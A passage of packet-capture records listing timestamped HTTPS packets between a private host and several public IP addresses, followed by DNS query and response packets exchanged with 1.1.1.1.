Jan 10, 2025 12:06:55.603861094 CET	443	50056	151.101.2.137	192.168.2.5
Jan 10, 2025 12:06:55.603894949 CET	50056	443	192.168.2.5	151.101.2.137
Jan 10, 2025 12:06:55.603902102 CET	443	50056	151.101.2.137	192.168.2.5
Jan 10, 2025 12:06:55.604917049 CET	443	50056	151.101.2.137	192.168.2.5
Jan 10, 2025 12:06:55.604932070 CET	443	50056	151.101.2.137	192.168.2.5
Jan 10, 2025 12:06:55.604979038 CET	50056	443	192.168.2.5	151.101.2.137
Jan 10, 2025 12:06:55.604988098 CET	443	50056	151.101.2.137	192.168.2.5
Jan 10, 2025 12:06:55.605082035 CET	50056	443	192.168.2.5	151.101.2.137
Jan 10, 2025 12:06:55.605746031 CET	443	50056	151.101.2.137	192.168.2.5
Jan 10, 2025 12:06:55.605803013 CET	50056	443	192.168.2.5	151.101.2.137
Jan 10, 2025 12:06:55.605809927 CET	443	50056	151.101.2.137	192.168.2.5
Jan 10, 2025 12:06:55.605829000 CET	443	50056	151.101.2.137	192.168.2.5
Jan 10, 2025 12:06:55.605850935 CET	50056	443	192.168.2.5	151.101.2.137
Jan 10, 2025 12:06:55.605881929 CET	50056	443	192.168.2.5	151.101.2.137
Jan 10, 2025 12:06:55.609474897 CET	50056	443	192.168.2.5	151.101.2.137
Jan 10, 2025 12:06:55.609489918 CET	443	50056	151.101.2.137	192.168.2.5
Jan 10, 2025 12:06:55.659337997 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:55.659401894 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:55.659470081 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:55.659691095 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:55.659708977 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:55.751873016 CET	50059	443	192.168.2.5	151.101.130.137
Jan 10, 2025 12:06:55.751908064 CET	443	50059	151.101.130.137	192.168.2.5
Jan 10, 2025 12:06:55.752065897 CET	50059	443	192.168.2.5	151.101.130.137
Jan 10, 2025 12:06:55.752928019 CET	50059	443	192.168.2.5	151.101.130.137
Jan 10, 2025 12:06:55.752947092 CET	443	50059	151.101.130.137	192.168.2.5
Jan 10, 2025 12:06:56.206697941 CET	443	50059	151.101.130.137	192.168.2.5
Jan 10, 2025 12:06:56.207334995 CET	50059	443	192.168.2.5	151.101.130.137
Jan 10, 2025 12:06:56.207351923 CET	443	50059	151.101.130.137	192.168.2.5
Jan 10, 2025 12:06:56.209317923 CET	443	50059	151.101.130.137	192.168.2.5
Jan 10, 2025 12:06:56.209459066 CET	50059	443	192.168.2.5	151.101.130.137
Jan 10, 2025 12:06:56.209856987 CET	50059	443	192.168.2.5	151.101.130.137
Jan 10, 2025 12:06:56.209959030 CET	50059	443	192.168.2.5	151.101.130.137
Jan 10, 2025 12:06:56.209964991 CET	443	50059	151.101.130.137	192.168.2.5
Jan 10, 2025 12:06:56.251344919 CET	443	50059	151.101.130.137	192.168.2.5
Jan 10, 2025 12:06:56.263045073 CET	50059	443	192.168.2.5	151.101.130.137
Jan 10, 2025 12:06:56.263061047 CET	443	50059	151.101.130.137	192.168.2.5
Jan 10, 2025 12:06:56.310770035 CET	50059	443	192.168.2.5	151.101.130.137
Jan 10, 2025 12:06:56.310784101 CET	443	50059	151.101.130.137	192.168.2.5
Jan 10, 2025 12:06:56.319992065 CET	443	50059	151.101.130.137	192.168.2.5
Jan 10, 2025 12:06:56.320002079 CET	443	50059	151.101.130.137	192.168.2.5
Jan 10, 2025 12:06:56.320030928 CET	443	50059	151.101.130.137	192.168.2.5
Jan 10, 2025 12:06:56.320044994 CET	443	50059	151.101.130.137	192.168.2.5
Jan 10, 2025 12:06:56.320053101 CET	443	50059	151.101.130.137	192.168.2.5
Jan 10, 2025 12:06:56.320080996 CET	50059	443	192.168.2.5	151.101.130.137
Jan 10, 2025 12:06:56.320096016 CET	443	50059	151.101.130.137	192.168.2.5
Jan 10, 2025 12:06:56.320123911 CET	443	50059	151.101.130.137	192.168.2.5
Jan 10, 2025 12:06:56.320163012 CET	50059	443	192.168.2.5	151.101.130.137
Jan 10, 2025 12:06:56.320163012 CET	50059	443	192.168.2.5	151.101.130.137
Jan 10, 2025 12:06:56.373358965 CET	50059	443	192.168.2.5	151.101.130.137
Jan 10, 2025 12:06:56.392479897 CET	443	50059	151.101.130.137	192.168.2.5
Jan 10, 2025 12:06:56.392491102 CET	443	50059	151.101.130.137	192.168.2.5
Jan 10, 2025 12:06:56.392513990 CET	443	50059	151.101.130.137	192.168.2.5
Jan 10, 2025 12:06:56.392523050 CET	443	50059	151.101.130.137	192.168.2.5
Jan 10, 2025 12:06:56.392575979 CET	50059	443	192.168.2.5	151.101.130.137
Jan 10, 2025 12:06:56.392590046 CET	443	50059	151.101.130.137	192.168.2.5
Jan 10, 2025 12:06:56.393085003 CET	50059	443	192.168.2.5	151.101.130.137
Jan 10, 2025 12:06:56.393085003 CET	50059	443	192.168.2.5	151.101.130.137
Jan 10, 2025 12:06:56.394215107 CET	443	50059	151.101.130.137	192.168.2.5
Jan 10, 2025 12:06:56.394224882 CET	443	50059	151.101.130.137	192.168.2.5
Jan 10, 2025 12:06:56.394254923 CET	443	50059	151.101.130.137	192.168.2.5
Jan 10, 2025 12:06:56.394280910 CET	443	50059	151.101.130.137	192.168.2.5
Jan 10, 2025 12:06:56.394340992 CET	50059	443	192.168.2.5	151.101.130.137
Jan 10, 2025 12:06:56.394340992 CET	50059	443	192.168.2.5	151.101.130.137
Jan 10, 2025 12:06:56.394350052 CET	443	50059	151.101.130.137	192.168.2.5
Jan 10, 2025 12:06:56.394391060 CET	50059	443	192.168.2.5	151.101.130.137
Jan 10, 2025 12:06:56.407845020 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:56.408152103 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:56.408169985 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:56.408541918 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:56.408555984 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:56.408631086 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:56.408638954 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:56.408694029 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:56.409264088 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:56.410209894 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:56.410274982 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:56.410370111 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:56.410377026 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:56.465301991 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:56.478444099 CET	443	50059	151.101.130.137	192.168.2.5
Jan 10, 2025 12:06:56.478467941 CET	443	50059	151.101.130.137	192.168.2.5
Jan 10, 2025 12:06:56.478708029 CET	50059	443	192.168.2.5	151.101.130.137
Jan 10, 2025 12:06:56.478723049 CET	443	50059	151.101.130.137	192.168.2.5
Jan 10, 2025 12:06:56.478827000 CET	50059	443	192.168.2.5	151.101.130.137
Jan 10, 2025 12:06:56.480030060 CET	443	50059	151.101.130.137	192.168.2.5
Jan 10, 2025 12:06:56.480140924 CET	50059	443	192.168.2.5	151.101.130.137
Jan 10, 2025 12:06:56.480184078 CET	443	50059	151.101.130.137	192.168.2.5
Jan 10, 2025 12:06:56.480238914 CET	443	50059	151.101.130.137	192.168.2.5
Jan 10, 2025 12:06:56.480321884 CET	443	50059	151.101.130.137	192.168.2.5
Jan 10, 2025 12:06:56.480357885 CET	50059	443	192.168.2.5	151.101.130.137
Jan 10, 2025 12:06:56.480357885 CET	50059	443	192.168.2.5	151.101.130.137
Jan 10, 2025 12:06:56.480494976 CET	50059	443	192.168.2.5	151.101.130.137
Jan 10, 2025 12:06:56.480987072 CET	50059	443	192.168.2.5	151.101.130.137
Jan 10, 2025 12:06:56.481000900 CET	443	50059	151.101.130.137	192.168.2.5
Jan 10, 2025 12:06:57.725023031 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.725069046 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.725111008 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:57.725120068 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.725130081 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.725169897 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:57.725178957 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.725207090 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.725219011 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:57.725224972 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.725255013 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.725270987 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:57.725275040 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.725303888 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.725320101 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:57.725325108 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.725363970 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:57.725368023 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.733669996 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.733699083 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.733743906 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:57.733757019 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.733802080 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:57.733956099 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.734004021 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.734055996 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.734076977 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:57.734083891 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.734122038 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:57.734733105 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.734795094 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.734838009 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:57.734843016 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.735718966 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.735747099 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.735773087 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:57.735779047 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.735824108 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:57.736546993 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.736593962 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.736630917 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:57.736637115 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.736685038 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:57.737457991 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.737508059 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.737531900 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.737550974 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:57.737555981 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.737605095 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:57.738293886 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.739018917 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.739058971 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.739064932 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:57.739073038 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.739109039 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:57.739113092 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.739924908 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.739953995 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.739967108 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:57.739973068 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.740015030 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:57.740019083 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.740693092 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.740721941 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.740734100 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:57.740740061 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.740771055 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:57.740775108 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.741611958 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.741643906 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.741647959 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:57.741652966 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.741710901 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:57.741715908 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.742556095 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.742583990 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.742592096 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:57.742598057 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.742630959 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:57.743365049 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.743411064 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.743448973 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:57.743455887 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.744287014 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.744323015 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:57.744329929 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.744369030 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:57.744410038 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:57.745688915 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:57.909964085 CET	50057	443	192.168.2.5	216.58.206.65
Jan 10, 2025 12:06:57.910000086 CET	443	50057	216.58.206.65	192.168.2.5
Jan 10, 2025 12:06:58.042380095 CET	50053	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:58.083338022 CET	443	50053	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:58.146991014 CET	443	50053	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:58.147124052 CET	443	50053	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:58.147188902 CET	50053	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:58.148118019 CET	50053	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:06:58.148145914 CET	443	50053	104.21.32.1	192.168.2.5
Jan 10, 2025 12:06:58.158564091 CET	50060	443	192.168.2.5	35.190.80.1
Jan 10, 2025 12:06:58.158597946 CET	443	50060	35.190.80.1	192.168.2.5
Jan 10, 2025 12:06:58.158776999 CET	50060	443	192.168.2.5	35.190.80.1
Jan 10, 2025 12:06:58.159240007 CET	50060	443	192.168.2.5	35.190.80.1
Jan 10, 2025 12:06:58.159250975 CET	443	50060	35.190.80.1	192.168.2.5
Jan 10, 2025 12:06:58.647793055 CET	443	50060	35.190.80.1	192.168.2.5
Jan 10, 2025 12:06:58.648102999 CET	50060	443	192.168.2.5	35.190.80.1
Jan 10, 2025 12:06:58.648113966 CET	443	50060	35.190.80.1	192.168.2.5
Jan 10, 2025 12:06:58.649355888 CET	443	50060	35.190.80.1	192.168.2.5
Jan 10, 2025 12:06:58.649439096 CET	50060	443	192.168.2.5	35.190.80.1
Jan 10, 2025 12:06:58.651052952 CET	50060	443	192.168.2.5	35.190.80.1
Jan 10, 2025 12:06:58.651052952 CET	50060	443	192.168.2.5	35.190.80.1
Jan 10, 2025 12:06:58.651066065 CET	443	50060	35.190.80.1	192.168.2.5
Jan 10, 2025 12:06:58.651209116 CET	443	50060	35.190.80.1	192.168.2.5
Jan 10, 2025 12:06:58.700571060 CET	50060	443	192.168.2.5	35.190.80.1
Jan 10, 2025 12:06:58.700608969 CET	443	50060	35.190.80.1	192.168.2.5
Jan 10, 2025 12:06:58.746929884 CET	50060	443	192.168.2.5	35.190.80.1
Jan 10, 2025 12:06:58.778829098 CET	443	50060	35.190.80.1	192.168.2.5
Jan 10, 2025 12:06:58.778927088 CET	443	50060	35.190.80.1	192.168.2.5
Jan 10, 2025 12:06:58.778997898 CET	50060	443	192.168.2.5	35.190.80.1
Jan 10, 2025 12:06:58.779237986 CET	50060	443	192.168.2.5	35.190.80.1
Jan 10, 2025 12:06:58.779252052 CET	443	50060	35.190.80.1	192.168.2.5
Jan 10, 2025 12:06:58.779898882 CET	50061	443	192.168.2.5	35.190.80.1
Jan 10, 2025 12:06:58.779936075 CET	443	50061	35.190.80.1	192.168.2.5
Jan 10, 2025 12:06:58.780004978 CET	50061	443	192.168.2.5	35.190.80.1
Jan 10, 2025 12:06:58.780265093 CET	50061	443	192.168.2.5	35.190.80.1
Jan 10, 2025 12:06:58.780277014 CET	443	50061	35.190.80.1	192.168.2.5
Jan 10, 2025 12:06:59.235188961 CET	443	50061	35.190.80.1	192.168.2.5
Jan 10, 2025 12:06:59.235595942 CET	50061	443	192.168.2.5	35.190.80.1
Jan 10, 2025 12:06:59.235610962 CET	443	50061	35.190.80.1	192.168.2.5
Jan 10, 2025 12:06:59.236052990 CET	443	50061	35.190.80.1	192.168.2.5
Jan 10, 2025 12:06:59.236640930 CET	50061	443	192.168.2.5	35.190.80.1
Jan 10, 2025 12:06:59.236757994 CET	443	50061	35.190.80.1	192.168.2.5
Jan 10, 2025 12:06:59.236768961 CET	50061	443	192.168.2.5	35.190.80.1
Jan 10, 2025 12:06:59.278197050 CET	50061	443	192.168.2.5	35.190.80.1
Jan 10, 2025 12:06:59.278223038 CET	443	50061	35.190.80.1	192.168.2.5
Jan 10, 2025 12:06:59.363087893 CET	443	50061	35.190.80.1	192.168.2.5
Jan 10, 2025 12:06:59.363190889 CET	443	50061	35.190.80.1	192.168.2.5
Jan 10, 2025 12:06:59.363554955 CET	50061	443	192.168.2.5	35.190.80.1
Jan 10, 2025 12:06:59.363698006 CET	50061	443	192.168.2.5	35.190.80.1
Jan 10, 2025 12:06:59.363703012 CET	443	50061	35.190.80.1	192.168.2.5
Jan 10, 2025 12:07:08.553462029 CET	443	50054	104.21.32.1	192.168.2.5
Jan 10, 2025 12:07:08.553550959 CET	443	50054	104.21.32.1	192.168.2.5
Jan 10, 2025 12:07:08.553818941 CET	50054	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:07:09.077877045 CET	50054	443	192.168.2.5	104.21.32.1
Jan 10, 2025 12:07:09.077928066 CET	443	50054	104.21.32.1	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 12:04:19.225078106 CET	62343	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:32.547662973 CET	53	64571	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:32.713469028 CET	54832	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:32.713633060 CET	58952	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:32.721605062 CET	53	54832	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:32.723332882 CET	53	58952	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:32.789766073 CET	53	53693	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:33.079070091 CET	59296	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:33.370322943 CET	59222	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:33.370543003 CET	64751	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:33.377880096 CET	53	64751	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:33.378159046 CET	53	59222	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:33.392101049 CET	63407	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:33.392404079 CET	62957	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:33.392657995 CET	51579	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:33.392790079 CET	62635	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:33.397684097 CET	65245	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:33.397851944 CET	57801	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:33.399015903 CET	53	63407	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:33.399792910 CET	53	62957	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:33.399996996 CET	53	51579	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:33.400027037 CET	53	62635	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:33.405112028 CET	53	57801	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:33.405143023 CET	53	65245	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:33.768944025 CET	53	57868	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:34.008275986 CET	58117	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:34.008416891 CET	56365	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:34.015454054 CET	53	56365	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:34.015520096 CET	53	58117	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:34.079233885 CET	59712	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:34.079407930 CET	52401	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:34.079962015 CET	55628	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:34.080112934 CET	61370	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:34.080557108 CET	64995	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:34.080698967 CET	65416	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:34.081084013 CET	63915	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:34.081221104 CET	61040	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:34.082015991 CET	50044	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:34.082154989 CET	58246	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:34.085927010 CET	53	59712	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:34.086395979 CET	53	52401	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:34.087490082 CET	53	61370	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:34.087569952 CET	53	65416	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:34.087579966 CET	53	55628	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:34.087698936 CET	53	63915	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:34.087801933 CET	53	64995	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:34.088669062 CET	53	61040	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:34.088726997 CET	53	50044	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:34.088937998 CET	53	58246	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:34.647901058 CET	51672	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:34.648068905 CET	63017	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:34.655436993 CET	53	63017	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:34.655865908 CET	53	51672	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:35.100205898 CET	59226	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:35.100409985 CET	58530	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:35.107198000 CET	53	59226	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:35.107713938 CET	53	58530	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:35.178033113 CET	50878	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:35.178210020 CET	56161	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:35.179220915 CET	52354	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:35.179361105 CET	55394	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:35.179816008 CET	58872	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:35.180001974 CET	55988	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:35.185426950 CET	53	56161	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:35.185487032 CET	53	50878	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:35.185848951 CET	53	55394	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:35.185954094 CET	53	52354	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:35.187084913 CET	53	58872	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:35.187850952 CET	53	55988	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:35.316512108 CET	58170	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:35.318569899 CET	51165	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:35.323986053 CET	53	58170	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:35.327477932 CET	53	51165	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:35.349328041 CET	57981	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:35.349566936 CET	64881	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:35.356852055 CET	53	64881	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:35.356897116 CET	53	57981	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:35.428292990 CET	64528	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:35.428517103 CET	58295	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:35.435544014 CET	53	58295	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:35.435825109 CET	53	64528	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:35.438200951 CET	51900	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:35.438349962 CET	57889	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:35.448632002 CET	53	57889	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:35.448736906 CET	53	51900	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:35.449150085 CET	58428	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:35.449305058 CET	56789	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:35.456526041 CET	53	58428	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:35.456809998 CET	53	56789	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:35.760164022 CET	49324	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:35.760375977 CET	57262	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:35.766766071 CET	53	49324	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:35.768274069 CET	53	57262	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:35.982719898 CET	58367	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:35.983045101 CET	52650	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:35.989749908 CET	53	52650	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:35.990247011 CET	53	58367	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:36.075463057 CET	58140	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:36.075618029 CET	64667	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:36.078999996 CET	64418	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:36.079181910 CET	56531	53	192.168.2.5	1.1.1.1
